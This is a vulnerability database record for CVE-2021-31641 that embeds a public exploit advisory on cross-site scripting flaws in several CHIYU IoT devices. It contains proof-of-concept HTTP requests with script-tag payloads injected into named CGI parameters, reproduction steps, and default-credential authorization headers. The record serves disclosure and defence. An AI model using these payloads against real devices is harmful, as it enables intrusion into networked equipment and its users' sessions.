ID

VAR-202106-1311

CVE

CVE-2021-31641

TITLE

plural  CHIYU Technology  Made  IoT  Cross-site scripting vulnerabilities in devices

DESCRIPTION

An unauthenticated XSS vulnerability exists in several IoT devices from CHIYU Technology, including BF-630, BF-450M, BF-430, BF-431, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC due to a lack of sanitization when the HTTP 404 message is generated. An attacker can use this vulnerability to execute client code. # Exploit Title: CHIYU IoT devices - 'Multiple' Cross-Site Scripting (XSS) # Date: May 31 2021 # Exploit Author: sirpedrotavares # Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html # Software Link: https://www.chiyu-tech.com/category-hardware.html # Version: BF-430, BF-431, BF-450M, BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC - all firmware versions < June 2021 # Tested on: BF-430, BF-431, BF-450M, BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC # CVE: CVE-2021-31250 / CVE-2021-31641 / CVE-2021-31643 # Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks Description: Several versions and models of CHIYU IoT devices are vulnerable to multiple Cross-Site Scripting flaws. #1: Multiple stored XSS in CHIYU BF-430, BF-431, and BF-450M IP converter devices CVE ID: CVE-2021-31250 CVSS: Medium – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250 ============= PoC 01 =============== Affected parameter: TF_submask Component: if.cgi Payload: "><script>alert(123)</script> HTTP Request: GET /if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY HTTP/1.1 Host: 192.168.187.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.187.12/ap_tcps.htm Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1 Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to component mentioned (if.cgi) 3. Append the payload at the end of the vulnerable parameter (TF_submask) 4. Submit the request and observe payload execution ============= PoC 02 =============== Affected parameter: TF_hostname=Component: dhcpc.cgi Payload: /"><img src="#"> HTTP request and response: HTTP Request: GET /dhcpc.cgi?redirect=setting.htm&failure=fail.htm&type=dhcpc_apply&TF_hostname=%2F%22%3E%3Cimg+src%3D%22%23%22&S_type=2&S_baud=3&S_userdefine=0&AP_type=0&TF_port=443&TF_remoteip1=%2F%22%3E%3Cimg+src%3D%22%23%22%3E&B_apply=APPLY HTTP/1.1 Host: 192.168.187.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.187.12/wan_dc.htm Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1 Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to component mentioned (dhcpc.cgi) 3. Append the payload at the end of the vulnerable parameter (TF_hostname) 4. Submit the request and observe payload execution ============= PoC 03 =============== Affected parameter: TF_servicename=Component: ppp.cgi Payload: "><script>alert(123)</script> GET /ppp.cgi?redirect=setting.htm&failure=fail.htm&type=ppp_apply&TF_username=admin&TF_password=admin&TF_servicename=%22%3E%3Cscript%3Ealert%28%27123%27%29%3B%3C%2Fscript%3E&TF_idletime=0&L_ipnego=DISABLE&TF_fixip1=&TF_fixip2=&TF_fixip3=&TF_fixip4=&S_type=2&S_baud=3&S_userdefine=0&AP_type=0&TF_port=443&TF_remoteip1=0.0.0.0&B_apply=APPLY HTTP/1.1 Host: 192.168.187.143 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.187.143/wan_pe.htm Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1 Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to component mentioned (ppp.cgi) 3. Append the payload at the end of the vulnerable parameter (TF_servicename) 4. Submit the request and observe payload execution ============= PoC 04 =============== Affected parameter: TF_port=Component: man.cgi Payload: /"><img src="#"> GET /man.cgi?redirect=setting.htm&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=%22%3E%3Cimg+src%3D%22%23%22%3E&TF_port=%22%3E%3Cimg+src%3D%22%23%22%3E&B_mac_apply=APPLY HTTP/1.1 Host: 192.168.187.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.187.12/manage.htm Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1 Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to component mentioned (man.cgi) 3. Append the payload at the end of the vulnerable parameter (TF_port) 4. Submit the request and observe payload execution #2: Unauthenticated XSS in several CHIYU IoT devices CVE ID: CVE-2021-31641 Medium - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31641 Component: any argument passed via URL that results in an HTTP-404 Payload: http://ip/<script>alert(123)</script> Steps to reproduce: 1. Navigate to the webpage of the vulnerable device 2. On the web-browsers, you need to append the payload after the IP address (see payload above) 3. Submit the request and observe payload execution #3: Stored XSS in CHIYU SEMAC, BF-630, BF-631, and Webpass IoT devices CVE ID: CVE-2021-31643 Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31643 Affected parameter: username= Component: if.cgi Payload: "><script>alert(1)</script> HTTP request - SEMAC Web Ver7.2 GET /if.cgi?redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creg=0&num=&EmployeeID=0000&MarkID=0000&CardID=000000&username=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&Card_Valid=0&SY=2021&SM=2&SD=7&sy_h=16&sy_m=23&EY=2021&EM=2&ED=7&sy_h=16&sy_m=23&Activate=5&Usertype=0&group_list1=1&group_list2=0&group_list3=0&group_list4=0&Verify=1&Password=&Retype=&card=0&card=0&card=0&card=0&card=0&card=116&card=9&card=138 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= Connection: close Referer: http://127.0.0.1/EmpRcd.htm Cookie: fresh=; remote=00000000 Upgrade-Insecure-Requests: 1 HTTP request - BIOSENSE-III-COMBO(M1)(20000) GET /if.cgi?redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creg=0&num=&EmployeeID=3&MarkID=3474&CardID=00000000&emp_id=&username=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&Card_Valid=0&SY=2019&SM=11&SD=25&sy_h=15&sy_m=0&EY=2019&EM=11&ED=25&sy_h=15&sy_m=0&Activate=5&Usertype=0&group_list1=1&group_list2=0&group_list3=0&group_list4=0&Verify=1&Password=&Retype=&card=0&card=0&card=0&card=0&card=118&card=5&card=101&card=110 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= Connection: close Referer: http://127.0.0.1/EmpRcd.htm Cookie: fresh= Upgrade-Insecure-Requests: 1 Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to component mentioned (if.cgi) 3. Append the payload at the end of the vulnerable parameter (username) 4. Submit the request and observe payload execution

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

xss

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

sirpedrotavares

SOURCES

LAST UPDATE DATE

2024-08-14T13:23:31.174000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE